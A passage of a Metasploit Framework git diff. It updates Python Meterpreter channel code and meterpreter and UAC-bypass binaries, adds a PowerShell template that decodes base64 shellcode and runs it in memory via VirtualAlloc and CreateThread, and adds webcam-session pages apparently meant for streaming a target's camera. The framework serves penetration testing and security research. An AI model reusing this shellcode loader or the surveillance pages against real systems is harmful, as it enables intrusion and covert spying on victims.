+			result = channel.tell() >= os.fstat(channel.fileno()).st_size
 		response += tlv_pack(TLV_TYPE_BOOL, result)
 		return ERROR_SUCCESS, response
 
@@ -368,7 +439,7 @@ class PythonMeterpreter(object):
 				self.handle_dead_resource_channel(channel_id)
 			if channel.stdout_reader.is_read_ready():
 				data = channel.stdout_reader.read(length)
-		elif isinstance(s, socket._socketobject):
+		elif isinstance(channel, MeterpreterSocket):
 			data = channel.recv(length)
 		else:
 			return ERROR_FAILURE, response
@@ -390,7 +461,7 @@ class PythonMeterpreter(object):
 				self.handle_dead_resource_channel(channel_id)
 				return ERROR_FAILURE, response
 			channel.stdin.write(channel_data)
-		elif isinstance(s, socket._socketobject):
+		elif isinstance(channel, MeterpreterSocket):
 			try:
 				l = channel.send(channel_data)
 			except socket.error:
diff --git a/data/meterpreter/metsrv.x64.dll b/data/meterpreter/metsrv.x64.dll
index 6dc9743a18..b80d35d745 100755
Binary files a/data/meterpreter/metsrv.x64.dll and b/data/meterpreter/metsrv.x64.dll differ
diff --git a/data/meterpreter/metsrv.x86.dll b/data/meterpreter/metsrv.x86.dll
index aeb272a4b6..15efbb9495 100755
Binary files a/data/meterpreter/metsrv.x86.dll and b/data/meterpreter/metsrv.x86.dll differ
diff --git a/data/meterpreter/msflinker_linux_x86.bin b/data/meterpreter/msflinker_linux_x86.bin
index 2d3eaeacc4..2f6cffe02f 100644
Binary files a/data/meterpreter/msflinker_linux_x86.bin and b/data/meterpreter/msflinker_linux_x86.bin differ
diff --git a/data/meterpreter/screenshot.x64.dll b/data/meterpreter/screenshot.x64.dll
index 5b95b74cd4..7eb1f3f307 100755
Binary files a/data/meterpreter/screenshot.x64.dll and b/data/meterpreter/screenshot.x64.dll differ
diff --git a/data/meterpreter/screenshot.x86.dll b/data/meterpreter/screenshot.x86.dll
index 1b47d33810..3699d2ae0c 100755
Binary files a/data/meterpreter/screenshot.x86.dll and b/data/meterpreter/screenshot.x86.dll differ
diff --git a/data/post/bypassuac-x64.dll b/data/post/bypassuac-x64.dll
new file mode 100755
index 0000000000..079b16ce11
Binary files /dev/null and b/data/post/bypassuac-x64.dll differ
diff --git a/data/post/bypassuac-x64.exe b/data/post/bypassuac-x64.exe
index 8ac912bb3e..b84c02bb14 100755
Binary files a/data/post/bypassuac-x64.exe and b/data/post/bypassuac-x64.exe differ
diff --git a/data/post/bypassuac-x86.dll b/data/post/bypassuac-x86.dll
new file mode 100755
index 0000000000..6b42302e3d
Binary files /dev/null and b/data/post/bypassuac-x86.dll differ
diff --git a/data/post/bypassuac-x86.exe b/data/post/bypassuac-x86.exe
index b0fbb1639e..1746051ef5 100755
Binary files a/data/post/bypassuac-x86.exe and b/data/post/bypassuac-x86.exe differ
diff --git a/data/templates/scripts/to_mem_pshreflection.ps1.template b/data/templates/scripts/to_mem_pshreflection.ps1.template
new file mode 100644
index 0000000000..d1a83daf0c
--- /dev/null
+++ b/data/templates/scripts/to_mem_pshreflection.ps1.template
@@ -0,0 +1,27 @@
+function %{func_get_proc_address} {
+	Param ($%{var_module}, $%{var_procedure})		
+	$%{var_unsafe_native_methods} = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
+	
+	return $%{var_unsafe_native_methods}.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($%{var_unsafe_native_methods}.GetMethod('GetModuleHandle')).Invoke($null, @($%{var_module})))), $%{var_procedure}))
+}
+
+function %{func_get_delegate_type} {
+	Param (
+		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $%{var_parameters},
+		[Parameter(Position = 1)] [Type] $%{var_return_type} = [Void]
+	)
+	
+	$%{var_type_builder} = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
+	$%{var_type_builder}.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
+	$%{var_type_builder}.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $%{var_return_type}, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
+	
+	return $%{var_type_builder}.CreateType()
+}
+
+[Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}")
+		
+$%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000, 0x40)
+[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length)
+
+$%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero)
+[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll WaitForSingleObject), (%{func_get_delegate_type} @([IntPtr], [Int32]))).Invoke($%{var_hthread},0xffffffff) | Out-Null
\ No newline at end of file
diff --git a/data/templates/template_x64_windows.dll b/data/templates/template_x64_windows.dll
index ac1106c823..9c524a6a98 100755
Binary files a/data/templates/template_x64_windows.dll and b/data/templates/template_x64_windows.dll differ
diff --git a/data/templates/template_x86_windows.dll b/data/templates/template_x86_windows.dll
index 27041fae57..a44e2dc650 100755
Binary files a/data/templates/template_x86_windows.dll and b/data/templates/template_x86_windows.dll differ
diff --git a/data/webcam/answerer.html b/data/webcam/answerer.html
new file mode 100644
index 0000000000..dadb7e32f5
--- /dev/null
+++ b/data/webcam/answerer.html
@@ -0,0 +1,193 @@
+<html>
+<head>
+<title>webcam_chat</title>
+<style type="text/css">
+	div.container {
+		position: relative;
+	}
+
+	div.windowa {
+		height: 480px;
+		width: 640px;
+		border-radius: 15px;
+		-moz-border-raidus: 15px;
+		background-color: black;
+		position: absolute;
+		left: 50;
+		padding : 10px;
+		margin-left: auto;
+		margin-right: auto;
+		text-align: center;
+		vertical-align: middle;
+		color: white;
+	}
+
+	div.windowb {
+		height: 180px;
+		width: 200px;
+		border-radius: 15px;
+		-moz-border-raidus: 15px;
+		background-color: #9B9B9B;
+		position: absolute;
+		top: 480;
+		left: 470;
+		padding: 10px;
+		margin-left: auto;
+		margin-right: auto;
+		text-align: center;
+		vertical-align: middle;
+	}
+
+	div.windowc {
+		position: absolute;
+		top: 510;
+		left: 80;
+		height: 150px;
+		width: 380px;
+		color: red;
+	}
+
+	div.footer {
+		position: fixed;
+		bottom: 0;
+		width: 100%;
+		padding: 10px;
+	}
+
+	video.peer {
+		position: absolute;
+		top: 15;
+		left: 10;
+	}
+
+	video.self {
+		position: absolute;
+		top: 5;
+		left: 10;
+	}
+</style>
+<script src="=WEBRTCAPIJS="> </script>
+<script>
+	window.onerror = function(e) {
+		document.getElementById("message").innerHTML = "Error: " + e.toString();
+	}
+
+	window.onload = function() {
+		document.getElementById("message").innerHTML = "Waiting for the session. When the session arrives, you must manually allow the webcam to run in order to join the session."
+	}
+
+	var channel = '=CHANNEL=';
+	var websocket = new WebSocket('ws://=SERVER=');
+	var inSession = false;
+
+	websocket.onopen = function() {
+		websocket.push(JSON.stringify({
+			open: true,
+			channel: channel
+		}));
+	};
+
+	websocket.push = websocket.send;
+	websocket.send = function(data) {
+		websocket.push(JSON.stringify({
+			data: data,
+			channel: channel
+		}));
+	};
+
+	var peer = new PeerConnection(websocket);
+	peer.onUserFound = function(userid) {
+		if (inSession) {
+			console.debug("Already in session, will not send another participation request");
+			return;
+		};
+
+		userid = "=OFFERERID=";
+
+		getUserMedia(function(stream) {
+			peer.addStream(stream);
+			peer.sendParticipationRequest(userid);
+			inSession = true;
+			document.getElementById("message").innerHTML = "Session is now active.";
+		});
+	};
+
+	peer.onStreamAdded = function(e) {
+		var video = e.mediaElement;
+		if (e.userid == 'self') {
+			video.controls = true;
+			video.setAttribute('width', 200);
+			video.setAttribute('height', 190);
+			video.setAttribute('controls', false);
+			video.setAttribute('class', 'self');
+			document.getElementById("windowb").appendChild(video);
+		}
+		else {
+			video.controls = true;
+			video.setAttribute('width', 640);
+			video.setAttribute('height', 460);
+			video.setAttribute('controls', false);
+			video.setAttribute('class', 'peer');
+			document.getElementById("windowa").appendChild(video);
+		}
+		video.muted = false;
+		video.volume = 0.5;
+		video.play();
+	};
+
+	peer.onStreamEnded = function(e) {
+		var video = e.mediaElement;
+		if (video) {
+			video.style.opacity = 0;
+			setTimeout(function() {
+				video.parentNode.removeChild(video);
+			}, 1000);
+		}
+		document.getElementById("message").innerHTML = "The video session has ended.";
+	};
+					
+	function getUserMedia(callback) {
+
+		var hints = {audio:true,video:{
+			optional: [],
+			mandatory: {
+				minWidth: 1280,
+				minHeight: 720,
+				maxWidth: 1920,
+				maxHeight: 1080,
+				minAspectRatio: 1.77
+			}
+		}};
+
+		navigator.getUserMedia(hints,function(stream) {
+			var video = document.createElement('video');
+			video.src = URL.createObjectURL(stream);
+
+			peer.onStreamAdded({
+				mediaElement: video,
+				userid: 'self',
+				stream: stream
+			});
+						
+			callback(stream);
+		});
+	}
+</script>
+</head>
+<body>
+
+<div class="container">
+	<div class="windowa" id="windowa">
+	</div>
+	<div class="windowb" id="windowb">
+	</div>
+	<div class="windowc">
+		<b>Session status (=RHOST=):</b><p></p>
+		<span id="message"></span>
+	</div>
+</div>
+<div class="footer">
+	<center><a href="http://metasploit.com/" target="_blank">metasploit.com</a></center>
+</div>
+</body>
+</html>
\ No newline at end of file
diff --git a/data/webcam/api.js b/data/webcam/api.js
new file mode 100644
index 0000000000..26e4d256dc
--- /dev/null
+++ b/data/webcam/api.js
@@ -0,0 +1,363 @@
+// Muaz Khan     - https://github.com/muaz-khan
+// MIT License   - https://www.webrtc-experiment.com/licence/
+// Documentation - https://github.com/muaz-khan/WebRTC-Experiment/tree/master/websocket
+
+(function () {
+
+    window.PeerConnection = function (socketURL, userid) {
+        this.userid = userid || getToken();
+        this.peers = {};
+
+        if (!socketURL) throw 'Socket-URL is mandatory.';
+
+        new Signaler(this, socketURL);
+        
+        this.addStream = function(stream) { 
+            this.MediaStream = stream;
+        };
+    };
+
+    function Signaler(root, socketURL) {
+        var self = this;
+
+        root.startBroadcasting = function () {
+            if(!root.MediaStream) throw 'Offerer must have media stream.';
+            
+            (function transmit() {
+                socket.send({
+                    userid: root.userid,
+                    broadcasting: true
+                });
+                !self.participantFound &&
+                    !self.stopBroadcasting &&
+                        setTimeout(transmit, 3000);
+            })();
+        };
+
+        root.sendParticipationRequest = function (userid) {
+            socket.send({
+                participationRequest: true,
+                userid: root.userid,
+                to: userid
+            });
+        };
+
+        // if someone shared SDP
+        this.onsdp = function (message) {
+            var sdp = message.sdp;
+
+            if (sdp.type == 'offer') {
+                root.peers[message.userid] = Answer.createAnswer(merge(options, {
+                    MediaStream: root.MediaStream,
+                    sdp: sdp
+                }));
+            }
+
+            if (sdp.type == 'answer') {
+                root.peers[message.userid].setRemoteDescription(sdp);
+            }
+        };
+
+        root.acceptRequest = function (userid) {
+            root.peers[userid] = Offer.createOffer(merge(options, {
+                MediaStream: root.MediaStream
+            }));
+        };
+
+        var candidates = [];
+        // if someone shared ICE
+        this.onice = function (message) {
+            var peer = root.peers[message.userid];
+            if (peer) {
+                peer.addIceCandidate(message.candidate);
+                for (var i = 0; i < candidates.length; i++) {
+                    peer.addIceCandidate(candidates[i]);
+                }
+                candidates = [];
+            } else candidates.push(candidates);
+        };
+
+        // it is passed over Offer/Answer objects for reusability
+        var options = {
+            onsdp: function (sdp) {
+                socket.send({
+                    userid: root.userid,
+                    sdp: sdp,
+                    to: root.participant
+                });
+            },
+            onicecandidate: function (candidate) {
+                socket.send({
+                    userid: root.userid,
+                    candidate: candidate,
+                    to: root.participant
+                });
+            },
+            onStreamAdded: function (stream) {
+                console.debug('onStreamAdded', '>>>>>>', stream);
+
+                stream.onended = function () {
+                    if (root.onStreamEnded) root.onStreamEnded(streamObject);
+                };
+
+                var mediaElement = document.createElement('video');
+                mediaElement.id = root.participant;
+                mediaElement[isFirefox ? 'mozSrcObject' : 'src'] = isFirefox ? stream : window.webkitURL.createObjectURL(stream);
+                mediaElement.autoplay = true;
+                mediaElement.controls = true;
+                mediaElement.play();
+
+                var streamObject = {
+                    mediaElement: mediaElement,
+                    stream: stream,
+                    userid: root.participant,
+                    type: 'remote'
+                };
+
+                function afterRemoteStreamStartedFlowing() {
+                    if (!root.onStreamAdded) return;
+                    root.onStreamAdded(streamObject);
+                }
+
+                afterRemoteStreamStartedFlowing();
+            }
+        };
+
+        function closePeerConnections() {
+            self.stopBroadcasting = true;
+            if (root.MediaStream) root.MediaStream.stop();
+
+            for (var userid in root.peers) {
+                root.peers[userid].peer.close();
+            }
+            root.peers = {};
+        }
+
+        root.close = function () {
+            socket.send({
+                userLeft: true,
+                userid: root.userid,
+                to: root.participant
+            });
+            closePeerConnections();
+        };
+
+        window.onbeforeunload = function () {
+            root.close();
+        };
+
+        window.onkeyup = function (e) {
+            if (e.keyCode == 116)
+                root.close();
+        };
+        
+        function onmessage(e) {
+            var message = JSON.parse(e.data);
+
+            if (message.userid == root.userid) return;
+            root.participant = message.userid;
+
+            // for pretty logging
+            console.debug(JSON.stringify(message, function (key, value) {
+                if (value && value.sdp) {
+                    console.log(value.sdp.type, '---', value.sdp.sdp);
+                    return '';
+                } else return value;
+            }, '---'));
+
+            // if someone shared SDP
+            if (message.sdp && message.to == root.userid) {
+                self.onsdp(message);
+            }
+
+            // if someone shared ICE
+            if (message.candidate && message.to == root.userid) {
+                self.onice(message);
+            }
+
+            // if someone sent participation request
+            if (message.participationRequest && message.to == root.userid) {
+                self.participantFound = true;
+
+                if (root.onParticipationRequest) {
+                    root.onParticipationRequest(message.userid);
+                } else root.acceptRequest(message.userid);
+            }
+
+            // if someone is broadcasting himself!
+            if (message.broadcasting && root.onUserFound) {
+                root.onUserFound(message.userid);
+            }
+
+            if (message.userLeft && message.to == root.userid) {
+                closePeerConnections();
+            }
+        }
+
+        var socket = socketURL;
+        if(typeof socketURL == 'string') {
+            socket = new WebSocket(socketURL);
+            socket.push = socket.send;
+            socket.send = function (data) {
+                socket.push(JSON.stringify(data));
+            };
+
+            socket.onopen = function () {
+                console.log('websocket connection opened.');
+            };
+        }
+        socket.onmessage = onmessage;
+    }
+
+    var RTCPeerConnection = window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
+    var RTCSessionDescription = window.mozRTCSessionDescription || window.RTCSessionDescription;
+    var RTCIceCandidate = window.mozRTCIceCandidate || window.RTCIceCandidate;
+
+    navigator.getUserMedia = navigator.mozGetUserMedia || navigator.webkitGetUserMedia;
+    window.URL = window.webkitURL || window.URL;
+
+    var isFirefox = !!navigator.mozGetUserMedia;
+    var isChrome = !!navigator.webkitGetUserMedia;
+
+    var STUN = {
+        url: isChrome ? 'stun:stun.l.google.com:19302' : 'stun:23.21.150.121'
+    };
+
+    var TURN = {
+        url: 'turn:homeo@turn.bistri.com:80',
+        credential: 'homeo'
+    };
+
+    var iceServers = {
+        iceServers: [STUN]
+    };
+
+    if (isChrome) {
+        if (parseInt(navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./)[2]) >= 28)
+            TURN = {
+                url: 'turn:turn.bistri.com:80',
+                credential: 'homeo',
+                username: 'homeo'
+            };
+
+        iceServers.iceServers = [STUN, TURN];
+    }
+
+    var optionalArgument = {
+        optional: [{
+            DtlsSrtpKeyAgreement: true
+        }]
+    };
+
+    var offerAnswerConstraints = {
+        optional: [],
+        mandatory: {
+            OfferToReceiveAudio: true,
+            OfferToReceiveVideo: true
+        }
+    };
+
+    function getToken() {
+        return Math.round(Math.random() * 9999999999) + 9999999999;
+    }
+    
+    function onSdpError() {}
+
+    // var offer = Offer.createOffer(config);
+    // offer.setRemoteDescription(sdp);
+    // offer.addIceCandidate(candidate);
+    var Offer = {
+        createOffer: function (config) {
+            var peer = new RTCPeerConnection(iceServers, optionalArgument);
+
+            if (config.MediaStream) peer.addStream(config.MediaStream);
+            peer.onaddstream = function (event) {
+                config.onStreamAdded(event.stream);
+            };
+
+            peer.onicecandidate = function (event) {
+                if (event.candidate)
+                    config.onicecandidate(event.candidate);
+            };
+
+            peer.createOffer(function (sdp) {
+                peer.setLocalDescription(sdp);
+                config.onsdp(sdp);
+            }, onSdpError, offerAnswerConstraints);
+
+            this.peer = peer;
+
+            return this;
+        },
+        setRemoteDescription: function (sdp) {
+            this.peer.setRemoteDescription(new RTCSessionDescription(sdp));
+        },
+        addIceCandidate: function (candidate) {
+            this.peer.addIceCandidate(new RTCIceCandidate({
+                sdpMLineIndex: candidate.sdpMLineIndex,
+                candidate: candidate.candidate
+            }));
+        }
+    };
+
+    // var answer = Answer.createAnswer(config);
+    // answer.setRemoteDescription(sdp);
+    // answer.addIceCandidate(candidate);
+    var Answer = {
+        createAnswer: function (config) {
+            var peer = new RTCPeerConnection(iceServers, optionalArgument);
+
+            if (config.MediaStream) peer.addStream(config.MediaStream);
+            peer.onaddstream = function (event) {
+                config.onStreamAdded(event.stream);
+            };
+
+            peer.onicecandidate = function (event) {
+                if (event.candidate)
+                    config.onicecandidate(event.candidate);
+            };
+
+            peer.setRemoteDescription(new RTCSessionDescription(config.sdp));
+            peer.createAnswer(function (sdp) {
+                peer.setLocalDescription(sdp);
+                config.onsdp(sdp);
+            }, onSdpError, offerAnswerConstraints);
+
+            this.peer = peer;
+
+            return this;
+        },
+        addIceCandidate: function (candidate) {
+            this.peer.addIceCandidate(new RTCIceCandidate({
+                sdpMLineIndex: candidate.sdpMLineIndex,
+                candidate: candidate.candidate
+            }));
+        }
+    };
+
+    function merge(mergein, mergeto) {
+        for (var t in mergeto) {
+            mergein[t] = mergeto[t];
+        }
+        return mergein;
+    }
+    
+    window.URL = window.webkitURL || window.URL;
+    navigator.getMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia;
+    navigator.getUserMedia = function(hints, onsuccess, onfailure) {
+        if(!hints) hints = {audio:true,video:true};
+        if(!onsuccess) throw 'Second argument is mandatory. navigator.getUserMedia(hints,onsuccess,onfailure)';
+        
+        navigator.getMedia(hints, _onsuccess, _onfailure);
+        
+        function _onsuccess(stream) {
+            onsuccess(stream);
+        }
+        
+        function _onfailure(e) {
+            if(onfailure) onfailure(e);
+            else throw Error('getUserMedia failed: ' + JSON.stringify(e, null, '\t'));
+        }
+    };
+    
+})();
\ No newline at end of file
diff --git a/data/webcam/offerer.html b/data/webcam/offerer.html
new file mode 100644
index 0000000000..f52a15e352
--- /dev/null
+++ b/data/webcam/offerer.html
@@ -0,0 +1,195 @@
+<html>
+<head>
+	<title>Video session</title>
+	<style type="text/css">
+		div.dot1 {
+			position: absolute;
+			width: 20px;
+			height: 20px;
+			margin: 30px auto 0;
+			border-radius: 50px;
+			background-color: red;
+			top: 150;
+			left: 470;
+		}
+
+		div.dot2 {
+			position: absolute;
+			width: 20px;
+			height: 20px;
+			margin: 30px auto 0;
+			border-radius: 50px;
+			background-color: red;
+			top: 150;
+			left: 505;
+		}
+
+		div.dot3 {
+			position: absolute;
+			width: 20px;
+			height: 20px;
+			margin: 30px auto 0;
+			border-radius: 50px;
+			background-color: red;
+			top: 150;
+			left: 540;
+		}
+
+		div.windowa {
+			height: 340px;
+			width: 420px;
+			border-radius: 15px;
+			-moz-border-raidus: 15px;
+			background-color: black;
+			position: absolute;
+			left: 20;
+			padding : 10px;
+			margin-left: auto;
+			margin-right: auto;
+			text-align: center;
+			vertical-align: middle;
+			color: white;
+		}
+
+		div.windowb {
+			height: 340px;
+			width: 420px;
+			border-radius: 15px;
+			-moz-border-raidus: 15px;
+			background-color: black;
+			position: absolute;
+			left: 570;
+			padding : 10px;
+			margin-left: auto;
+			margin-right: auto;
+			text-align: center;
+			vertical-align: middle;
+			color: white;
+		}
+
+		div.windowc {
+			position: absolute;
+			top: 400;
+			left: 60;
+			height: 50px;
+			width: 900px;
+			color: red;
+		}
+
+		div.footer {
+			position: fixed;
+			bottom: 0;
+			width: 100%;
+			padding: 10px;
+		}
+	</style>
+
+	<script src="api.js"> </script>
+	<script>
+		var channel = '=CHANNEL=';
+		var websocket = new WebSocket('ws://=SERVER=');
+
+		websocket.onopen = function() {
+			websocket.push(JSON.stringify({
+				open: true,
+				channel: channel
+			}));
+		};
+
+		websocket.push = websocket.send;
+		websocket.send = function(data) {
+			websocket.push(JSON.stringify({
+				data: data,
+				channel: channel
+			}));
+		};
+
+		var peer = new PeerConnection(websocket, '=OFFERERID=');
+
+		peer.onStreamAdded = function(e) {
+			var video = e.mediaElement;
+			video.setAttribute('width', 420);
+			video.setAttribute('height', 340);
+			video.setAttribute('controls', false);
+			video.volume = 0.5;
+
+			if (e.userid == 'self') {
+				document.getElementById("windowb").appendChild(video);
+			}
+			else {
+				document.getElementById("windowa").appendChild(video);
+				document.getElementById("message").innerHTML = "Session is now active.";
+			}
+
+			video.play();
+		};
+
+		peer.onStreamEnded = function(e) {
+			var video = e.mediaElement;
+			if (video) {
+				video.style.opacity = 0;
+				setTimeout(function() {
+					video.parentNode.removeChild(video);
+				}, 1000);
+			}
+			document.getElementById("message").innerHTML = "The video session has ended.";
+		};
+
+		window.onload = function() {
+			getUserMedia(function(stream) {
+				peer.addStream(stream);
+				peer.startBroadcasting();
+			});
+		};
+
+		function getUserMedia(callback) {
+			var hints = {audio:true,video:{
+				optional: [],
+				mandatory: {
+					minWidth: 1280,
+					minHeight: 720,
+					maxWidth: 1920,
+					maxHeight: 1080,
+					minAspectRatio: 1.77
+				}
+			}};
+
+			navigator.getUserMedia(hints,function(stream) {
+				var video = document.createElement('video');
+				video.src = URL.createObjectURL(stream);
+				peer.onStreamAdded({
+					mediaElement: video,
+					userid: 'self',
+					stream: stream
+				});
+						
+				callback(stream);
+			});
+		}
+	</script>
+</head>
+<body>
+
+<div class="windowa" id="windowa">
+	<b>You peer</b>
+</div>
+
+<div class="dot1"></div>
+<div class="dot2"></div>
+<div class="dot3"></div>
+
+<div class="windowb" id="windowb">
+	<b>You</b>
+</div>
+
+<div class="windowc">
+	<b>Status:</b><p></p>
+	<span id="message">Waiting for your peer to join the video session...</span>
+</div>
+
+<div class="footer">
+	<center><a href="http://metasploit.com/" target="_blank">metasploit.com</a></center>
+</div>
+
+</body>
+</html>
\ No newline at end of file
diff --git a/documentation/samples/pro/msfrpc_pro_report.rb b/documentation/samples/pro/msfrpc_pro_report.rb
deleted file mode 100644
index 6095a8d7bb..0000000000
--- a/documentation/samples/pro/msfrpc_pro_report.rb
+++ /dev/null
@@ -1,126 +0,0 @@
-#!/usr/bin/env ruby
-
-require 'rubygems'
-require 'optparse'
-require 'msfrpc-client'
-require 'rex/ui'
-
-def usage(ropts)
-  $stderr.puts ropts
-
-  if @rpc and @rpc.token
-    wspaces = @rpc.call("pro.workspaces") rescue {}
-    if wspaces.keys.length > 0
-      $stderr.puts "Active Projects:"
-      wspaces.each_pair do |k,v|
-        $stderr.puts "\t#{k}"
-      end
-    end
-  end
-  $stderr.puts ""
-  exit(1)
-end
-
-opts  = {
-  :format => 'PDF'
-}
-
-parser = Msf::RPC::Client.option_parser(opts)
-
-parser.separator('Report Options:')
-parser.on("--format FORMAT") do |v|
-  opts[:format] = v.upcase
-end
-
-parser.on("--project PROJECT") do |v|
-  opts[:project] = v
-end
-
-parser.on("--output OUTFILE") do |v|
-  opts[:output] = v
-end
-
-parser.on("--help") do
-  $stderr.puts parser
-  exit(1)
-end
-parser.separator('')
-
-parser.parse!(ARGV)
-@rpc  = Msf::RPC::Client.new(opts)
-
-if not @rpc.token
-  $stderr.puts "Error: Invalid RPC server options specified"
-  $stderr.puts parser
-  exit(1)
-end
-
-project = opts[:project] || usage(parser)
-fname  = opts[:output]  || usage(parser)
-rtype  = opts[:format]
-user   = @rpc.call("pro.default_admin_user")['username']
-
-task = @rpc.call("pro.start_report", {
-      'DS_WHITELIST_HOSTS'        => "",
-      'DS_BLACKLIST_HOSTS'        => "",
-      'workspace'                 => project,
-      'username'                  => user,
-      'DS_MaskPasswords'          => false,
-      'DS_IncludeTaskLog'         => false,
-      'DS_JasperDisplaySession'   => true,
-      'DS_JasperDisplayCharts'    => true,
-      'DS_LootExcludeScreenshots' => false,
-      'DS_LootExcludePasswords'   => false,
-      'DS_JasperTemplate'         => "msfxv3.jrxml",
-      'DS_REPORT_TYPE'            => rtype.upcase,
-      'DS_UseJasper'              => true,
-      'DS_UseCustomReporting'     => true,
-      'DS_JasperProductName'      => "Metasploit Pro",
-      'DS_JasperDbEnv'            => "production",
-      'DS_JasperLogo'             => '',
-      'DS_JasperDisplaySections'  => "1,2,3,4,5,6,7,8",
-      'DS_EnablePCIReport'        => true,
-      'DS_EnableFISMAReport'      => true,
-      'DS_JasperDisplayWeb'       => true,
-})
-
-
-if not task['task_id']
-  $stderr.puts "[-] Error generating the report: #{task.inspect}"
-  exit(0)
-end
-
-puts "[*] Report is generating with Task ID #{task['task_id']}..."
-while true
-  select(nil, nil, nil, 0.50)
-  stat = @rpc.call("pro.task_status", task['task_id'])
-  if stat['status'] == 'invalid'
-    $stderr.puts "[-] Error checking task status"
-    exit(0)
-  end
-
-  info = stat[ task['task_id'] ]
-
-  if not info
-    $stderr.puts "[-] Error finding the task"
-    exit(0)
-  end
-
-  if info['status'] == "error"
-    $stderr.puts "[-] Error generating report: #{info['error']}"
-    exit(0)
-  end
-
-  break if info['progress'] == 100
-end
-
-report = @rpc.call('pro.report_download_by_task', task['task_id'])
-if report and report['data']
-  ::File.open(fname, "wb") do |fd|
-    fd.write(report['data'])
-  end
-  $stderr.puts "[-] Report saved to #{::File.expand_path(fname)}"
-else
-  $stderr.puts "[-] Error downloading report: #{report.inspect}"
-end
-
diff --git a/documentation/users_guide.tex b/documentation/users_guide.tex
index 2b5994ba62..cc46448d38 100644
--- a/documentation/users_guide.tex
+++ b/documentation/users_guide.tex
@@ -878,7 +878,7 @@ The Metasploit Framework is distributed under the modified-BSD license defined b
 
 {\footnotesize
 \begin{verbatim}
-Copyright (c) 2008, Rapid7 LLC
+Copyright (c) 2008, Rapid7, Inc.
 All rights reserved.
 
 Redistribution and use in source and binary forms, with or without modification,
@@ -891,7 +891,7 @@ are permitted provided that the following conditions are met:
 	  this list of conditions and the following disclaimer in the documentation
 	  and/or other materials provided with the distribution.
 
-    * Neither the name of Rapid7 LLC nor the names of its contributors 
+    * Neither the name of Rapid7, Inc. nor the names of its contributors 
 	  may be used to endorse or promote products derived from this software 
 	  without specific prior written permission.
 
diff --git a/external/ruby-kissfft/ext/kissfft/main.c b/external/ruby-kissfft/ext/kissfft/main.c
index 564378f7a8..13c0a94f1b 100644
--- a/external/ruby-kissfft/ext/kissfft/main.c
+++ b/external/ruby-kissfft/ext/kissfft/main.c
@@ -1,6 +1,6 @@
 /*
 	ruby-kissfft: a simple ruby module embedding the Kiss FFT library
-	Copyright (C) 2009-2010 Rapid7 LLC - H D Moore <hdm[at]metasploit.com>
+	Copyright (C) 2009-2010 Rapid7, Inc - H D Moore <hdm[at]metasploit.com>
 	
 	Derived from "psdpng.c" from the KissFFT tools directory
 	Copyright (C) 2003-2006 Mark Borgerding
diff --git a/external/ruby-lorcon/Lorcon.c b/external/ruby-lorcon/Lorcon.c
index bfd427b744..196d67919b 100644
--- a/external/ruby-lorcon/Lorcon.c
+++ b/external/ruby-lorcon/Lorcon.c
@@ -33,7 +33,7 @@
 */
 
 /*	
-	All ruby-lorcon/rubyisms are by Rapid7 LLC (C) 2006-2007
+	All ruby-lorcon/rubyisms are by Rapid7, Inc (C) 2006-2007
 		http://metasploit.com/ - msfdev[at]metasploit.com
 */
 
diff --git a/external/ruby-lorcon2/Lorcon2.c b/external/ruby-lorcon2/Lorcon2.c
index 226b6cc773..1a69658d2d 100644
--- a/external/ruby-lorcon2/Lorcon2.c
+++ b/external/ruby-lorcon2/Lorcon2.c
@@ -37,7 +37,7 @@
 */
 
 /*	
-	All ruby-lorcon/rubyisms are by Metasploit LLC (C) 2006-2007
+	All ruby-lorcon/rubyisms are by Rapid7, Inc. (C) 2006-2007
 		http://metasploit.com/ - msfdev[at]metasploit.com
 */
 
diff --git a/external/source/DLLHijackAuditKit/analyze.js b/external/source/DLLHijackAuditKit/analyze.js
index 75e6e9720b..9b8ad64f76 100644
--- a/external/source/DLLHijackAuditKit/analyze.js
+++ b/external/source/DLLHijackAuditKit/analyze.js
@@ -1,4 +1,4 @@
-/* DLLHijackAuditKit (C) 2010 Rapid7 LLC */
+/* DLLHijackAuditKit (C) 2010 Rapid7, Inc */
 
 var oFso = new ActiveXObject("Scripting.FileSystemObject");
 var oShl = new ActiveXObject("WScript.Shell");
diff --git a/external/source/DLLHijackAuditKit/audit.js b/external/source/DLLHijackAuditKit/audit.js
index b9b1149fe2..2ad17d3767 100644
--- a/external/source/DLLHijackAuditKit/audit.js
+++ b/external/source/DLLHijackAuditKit/audit.js
@@ -1,4 +1,4 @@
-/* DLLHijackAuditKit (C) 2010 Rapid7 LLC */
+/* DLLHijackAuditKit (C) 2010 Rapid7, Inc */
 
